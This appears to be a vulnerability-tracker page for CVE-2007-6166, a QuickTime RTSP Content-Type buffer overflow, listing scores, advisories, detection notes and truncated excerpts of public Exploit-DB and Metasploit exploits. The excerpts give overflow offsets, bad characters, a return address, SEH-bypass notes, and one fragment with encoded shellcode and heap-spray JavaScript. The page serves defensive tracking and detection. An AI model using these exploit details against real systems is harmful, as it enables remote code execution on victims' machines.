CVE-2007-6166
published 2007-11-29CVE-2007-6166: Stack-based buffer overflow in Apple QuickTime before 7.3.1, as used in QuickTime Player on Windows XP and Safari on Mac OS X, allows remote Real Time…
PriorityP275critical9.3CVSS 2.0
AVNACMAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
41.92%
98.5th percentile
Stack-based buffer overflow in Apple QuickTime before 7.3.1, as used in QuickTime Player on Windows XP and Safari on Mac OS X, allows remote Real Time Streaming Protocol (RTSP) servers to execute arbitrary code via an RTSP response with a long Content-Type header.
Affected
24 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | quicktime | <= 7.3 | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →The exploit triggers a stack buffer overflow in Apple QuickTime 7.2/7.3 via an overly long RTSP response Content-Type header; the overflow offset is 991 bytes (Windows) before the return address. ↗
- →Payload bad characters for this exploit include null bytes, tab, LF, CR, space, and several URL-special characters; use these to tune IDS signatures. ↗
- →The attack is delivered via a rogue RTSP server; the attacker binds port 554 and waits for a QuickTime client to connect, then sends the malicious RTSP response. ↗
- →On Mac OS X targets, the overflow offset in the Content-Type header is 307 bytes before the return address; monitor for RTSP responses with Content-Type fields of this length containing non-printable data. ↗
- →The exploit can also be delivered via browser (IE7, Firefox, Opera) by redirecting the browser to a malicious RTSP URL handled by the QuickTime plugin; monitor for rtsp:// URL redirections from web pages. ↗
- ·The Metasploit Windows module targets only QuickTime 7.3 (QuickTimeStreaming.qtx 7.3.0.70); the return address 0x67644297 is specific to that DLL version and will not work against other versions. ↗
- ·The Mac OS X Metasploit module (quicktime_rtsp_content_type.rb) notes the exploit does NOT work on Tiger (Mac OS X 10.4) for some targets. ↗
- ·CVE-2007-6238 is noted as probably a different vulnerability from CVE-2007-6166, though both affect Apple QuickTime 7.2 on Windows XP; duplicates are difficult to determine. ↗
CVSS provenance
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
vulncheck9.3CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-mrqv-c428-3hfp: Stack-based buffer overflow in Apple QuickTime before 7
ghsa_unreviewed·2022-05-01
CVE-2007-6166 [HIGH] CWE-119 GHSA-mrqv-c428-3hfp: Stack-based buffer overflow in Apple QuickTime before 7
Stack-based buffer overflow in Apple QuickTime before 7.3.1, as used in QuickTime Player on Windows XP and Safari on Mac OS X, allows remote Real Time Streaming Protocol (RTSP) servers to execute arbitrary code via an RTSP response with a long Content-Type header.
GHSA
GHSA-xrr7-3cjg-r4vj: Unspecified vulnerability in Apple QuickTime 7
ghsa_unreviewed·2022-05-01·CVSS 9.3
CVE-2007-6238 [CRITICAL] GHSA-xrr7-3cjg-r4vj: Unspecified vulnerability in Apple QuickTime 7
Unspecified vulnerability in Apple QuickTime 7.2 on Windows XP allows remote attackers to execute arbitrary code via unknown attack vectors, probably a different vulnerability than CVE-2007-6166. NOTE: this information is based upon a vague advisory by a vulnerability information sales organization that does not coordinate with vendors or release advisories with actionable information. A CVE has been assigned for tracking purposes, but duplicates with other CVEs are difficult to determine. However, the organization has stated that this is different than CVE-2007-6166.
VulnCheck
Apple quicktime Improper Restriction of Operations within the Bounds of a Memory Buffer
vulncheck·2007·CVSS 9.3
CVE-2007-6166 [CRITICAL] Apple quicktime Improper Restriction of Operations within the Bounds of a Memory Buffer
Apple quicktime Improper Restriction of Operations within the Bounds of a Memory Buffer
Stack-based buffer overflow in Apple QuickTime before 7.3.1, as used in QuickTime Player on Windows XP and Safari on Mac OS X, allows remote Real Time Streaming Protocol (RTSP) servers to execute arbitrary code via an RTSP response with a long Content-Type header.
Affected: Apple quicktime
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.virusbulletin.com/virusbulletin/2010/05/exploit-kit-explosion-part-two-vectors-attack/
No detection rules found.
Exploit-DB
Apple QuickTime (Mac OSX) - RTSP Content-Type Overflow (Metasploit)
exploitdb·2010-10-09
CVE-2007-6166 Apple QuickTime (Mac OSX) - RTSP Content-Type Overflow (Metasploit)
Apple QuickTime (Mac OSX) - RTSP Content-Type Overflow (Metasploit)
---
##
# $Id: quicktime_rtsp_content_type.rb 10617 2010-10-09 06:55:52Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'MacOS X QuickTime RTSP Content-Type Overflow',
# Description?
# Author?
'Version' => '$Revision: 10617 $',
'Platform' => 'osx',
'References' =>
[
[ 'CVE', '2007-6166' ],
[ 'OSVDB', '40876'],
[ 'BID', '26549' ],
],
'Payload' =>
{
'Space' => 3841,
'BadChars' => "\x00\x0a\x0d",
'MaxNops' => 0,
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Mac OS X
Exploit-DB
Apple QuickTime 7.3 - RTSP Response Header Buffer Overflow (Metasploit)
exploitdb·2010-05-09
CVE-2007-6166 Apple QuickTime 7.3 - RTSP Response Header Buffer Overflow (Metasploit)
Apple QuickTime 7.3 - RTSP Response Header Buffer Overflow (Metasploit)
---
##
# $Id: apple_quicktime_rtsp_response.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long
RTSP response to a client, an attacker may be able to execute arbitrary code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '200
Exploit-DB
Apple QuickTime 7.2/7.3 - RTSP Buffer Overflow
exploitdb·2010-01-06
CVE-2007-6166 Apple QuickTime 7.2/7.3 - RTSP Buffer Overflow
Apple QuickTime 7.2/7.3 - RTSP Buffer Overflow
---
# Exploit Title: Apple QuickTime 7.2/7.3 RTSP BOF (Perl)
# Date: 2009-01-06
# Author: Jacky
# Software Link: [downoad link if available]
# Version: 7.2/7.3
# Tested on: Windows XP SP3
# CVE : [if exists]
# Code :
#Apple QuickTime 7.2/7.3 RTSP BOF (Perl Edition )
#Discovered by (Krystian Kloskowski (h07) )
#Written and coded by Jacky!
#All Greetz to Peter Van Eeckhoutte and Corelan Team ( Best exploitation team);-)
#This time i wrote the exploit in perl , because i saw that it was written
#many times in python and ruby only !
#This exploit is for EDUCATIONAL PURPOSES ONLY !!!
#!/usr/bin/perl -w
# (RTSP) Content-Type: [A * 995] + [B * 4096]\r\n
#
# 0x41414141 Pointer to next SEH record
# 0x42424242 SE handler
use strict;
use Socket;
my $ju
Exploit-DB
Apple Safari / QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow
exploitdb·2008-07-06
CVE-2007-6166 Apple Safari / QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow
Apple Safari / QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow
---
#!/usr/bin/perl
#
# quickbite.pl
#
# Safari + Quicktime 8080;
$shellcode = "%uc031%u6850%u02ff%u5c11%ue789%u6a50%u6a01%u6a02%ub010%ucd61%u5780%u5050%u686a%ucd58%u8980%uec47%u6ab0%u80cd%u1eb0%u80cd%u5050%u5a6a%ucd58%uff80%ue44f%uf679%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u5454%u5053%u3bb0%u80cd";
$buf = chr(0x11) x 6000;
# don't touch anything below this line
$html =
var prefix = unescape("%u3166%uB0C0%uCD42%uFE80%u3CC0%u7501%uB004%uCD01%u9080");
var shellcode = unescape("$shellcode");
shellcode = prefix + shellcode;
var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
do {
spray += spray;
} while(spray.length ");
ENDHTML
$rtsp_body =
"v=0\r\n" .
"o=- 16689332712 1 IN IP4 0.0.0.0\r\n"
Exploit-DB
Apple QuickTime 7.2/7.3 - RSTP Response Universal
exploitdb·2007-11-27
CVE-2007-6166 Apple QuickTime 7.2/7.3 - RSTP Response Universal
Apple QuickTime 7.2/7.3 - RSTP Response Universal
---
___ Everyone Loves
O|0_+|O the Hypnotoad...
|...|
| |
=o0O=====O0o===============================
| QuickTime RTSP Response Content-type |
| remote stack rewrite exploit for IE 6/7 |
| by Yag Kohha (skyhole [at] gmail.com) |
Exploit tested on:
- Windows Vista
- Windows XP SP2
- IE 6.0/ 7.0
- QT 7.2/ 7.3
Exploit requirements:
Target: Windows Vista/ XP SP2 , IE 6.0/7.0, QT 7.2/7.3
Server: Linux, Perl, Apache web- server
Whats inside:
index.html - hypertext document with heap spray javascript and QT plugin call with playlist.mov (place to public web-folder)
server - rtsp- server emulator (run in your linux shell in background mode "./server&")
playlist.mov - play list with rtsp server link (edit "_server_emulator_ip" with address of r
Exploit-DB
Apple QuickTime 7.2/7.3 (Internet Explorer 7 / Firefox / Opera) - RTSP Response Universal
exploitdb·2007-11-26
CVE-2007-6166 Apple QuickTime 7.2/7.3 (Internet Explorer 7 / Firefox / Opera) - RTSP Response Universal
Apple QuickTime 7.2/7.3 (Internet Explorer 7 / Firefox / Opera) - RTSP Response Universal
---
#!/usr/bin/python
##########################################################################
# http://www.offensive-security.com
# Bug discovered by Krystian Kloskowski (h07)
# Tested on: Apple QuickTime Player 7.3 / 7.2 IE7,FF /Opera, XP SP2, Vista
# This exploit is completely "Universal" .... It has also been modded to work via url redirection ...
# Magic RETs work on 7.3,7.2,XPSP2,Vista,IE7,Firefox,Opera....
# re-edited by muts and javaguru1999 to annoy Symantec
# http://www.symantec.com/enterprise/security_response/weblog/2007/11/0day_exploit_for_apple_quickti.html
# there IS NO SPOON!
##########################################################################
# "With Internet Explorer versio
Exploit-DB
Apple QuickTime 7.2/7.3 (Windows Vista/XP) - RSTP Response Code Execution
exploitdb·2007-11-24
CVE-2007-6166 Apple QuickTime 7.2/7.3 (Windows Vista/XP) - RSTP Response Code Execution
Apple QuickTime 7.2/7.3 (Windows Vista/XP) - RSTP Response Code Execution
---
/*
Apple Quicktime (Vista/XP RSTP Response) Remote Code Exec
Discovered by: h07
Author: InTeL
*Tested on:
- Quicktime 7.3 on Windows Vista, Result: SEH Overwrite, Code Exec
- Quicktime 7.2 on Windows Vista, Result: SEH Overwrite. Code Exec
- Quicktime 7.3 on Windows XP Pro SP2, Result: SEH Overwrite, Code Exec
- Quicktime 7.2 on Windows XP Pro SP2, Result: SEH Overwrite, Code Exec
Notes:
[*] On Vista the QuickTimePlayer and the .gtx modules dont have ASLR enabled, NO RANDOMIZATION :)
[*]All the 7.3 and 7.2 DLL modules are SafeSEH enabled, except for the .gtx modules, that is how u bypass the SEH
Restrictions in XP and in Vista!! so we use Addys from there.
[*]There are ALOT of filtered characters so choose y
Exploit-DB
Apple QuickTime 7.2/7.3 - RTSP Response Remote Overwrite (SEH)
exploitdb·2007-11-23
CVE-2007-6166 Apple QuickTime 7.2/7.3 - RTSP Response Remote Overwrite (SEH)
Apple QuickTime 7.2/7.3 - RTSP Response Remote Overwrite (SEH)
---
#!/usr/bin/python
# Apple QuickTime 7.3 RTSP Response 0day Remote SEH Overwrite PoC Exploit
# Bug discovered by Krystian Kloskowski (h07)
# Tested on: Apple QuickTime Player 7.3 / XP SP2 Polish
# Details:..
#
# (RTSP) Content-Type: [A * 995] + [B * 4096]\r\n
#
# 0x41414141 Pointer to next SEH record
# 0x42424242 SE handler
#
# ----------------------------------------------------------------
# Exception C0000005 (ACCESS_VIOLATION reading [42424242])
# ----------------------------------------------------------------
# EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# ECX=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDX=7C9037D8: 8B
Metasploit
Apple QuickTime 7.3 RTSP Response Header Buffer Overflow
metasploit
Apple QuickTime 7.3 RTSP Response Header Buffer Overflow
Apple QuickTime 7.3 RTSP Response Header Buffer Overflow
This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long RTSP response to a client, an attacker may be able to execute arbitrary code.
Metasploit
MacOS X QuickTime RTSP Content-Type Overflow
metasploit
MacOS X QuickTime RTSP Content-Type Overflow
MacOS X QuickTime RTSP Content-Type Overflow
This module exploits a stack-based buffer overflow in Apple QuickTime before version 7.3.1. By sending an overly long RTSP response to a client, an attacker may be able to execute arbitrary code.
No writeups or analysis indexed.
http://docs.info.apple.com/article.html?artnum=307176http://lists.apple.com/archives/Security-announce/2007/Dec/msg00000.htmlhttp://secunia.com/advisories/27755http://secunia.com/advisories/29182http://security.gentoo.org/glsa/glsa-200803-08.xmlhttp://securityreason.com/securityalert/3410http://www.beskerming.com/security/2007/11/25/74/QuickTime_-_Remote_hacker_automatic_controlhttp://www.kb.cert.org/vuls/id/659761http://www.securityfocus.com/bid/26549http://www.securityfocus.com/bid/26560http://www.securitytracker.com/id?1018989http://www.us-cert.gov/cas/techalerts/TA07-334A.htmlhttp://www.vupen.com/english/advisories/2007/3984https://exchange.xforce.ibmcloud.com/vulnerabilities/38604https://www.exploit-db.com/exploits/4648https://www.exploit-db.com/exploits/6013http://docs.info.apple.com/article.html?artnum=307176http://lists.apple.com/archives/Security-announce/2007/Dec/msg00000.htmlhttp://secunia.com/advisories/27755http://secunia.com/advisories/29182http://security.gentoo.org/glsa/glsa-200803-08.xmlhttp://securityreason.com/securityalert/3410http://www.beskerming.com/security/2007/11/25/74/QuickTime_-_Remote_hacker_automatic_controlhttp://www.kb.cert.org/vuls/id/659761http://www.securityfocus.com/bid/26549http://www.securityfocus.com/bid/26560http://www.securitytracker.com/id?1018989http://www.us-cert.gov/cas/techalerts/TA07-334A.htmlhttp://www.vupen.com/english/advisories/2007/3984https://exchange.xforce.ibmcloud.com/vulnerabilities/38604https://www.exploit-db.com/exploits/4648https://www.exploit-db.com/exploits/6013
2007-11-29
Published
Exploited in the wild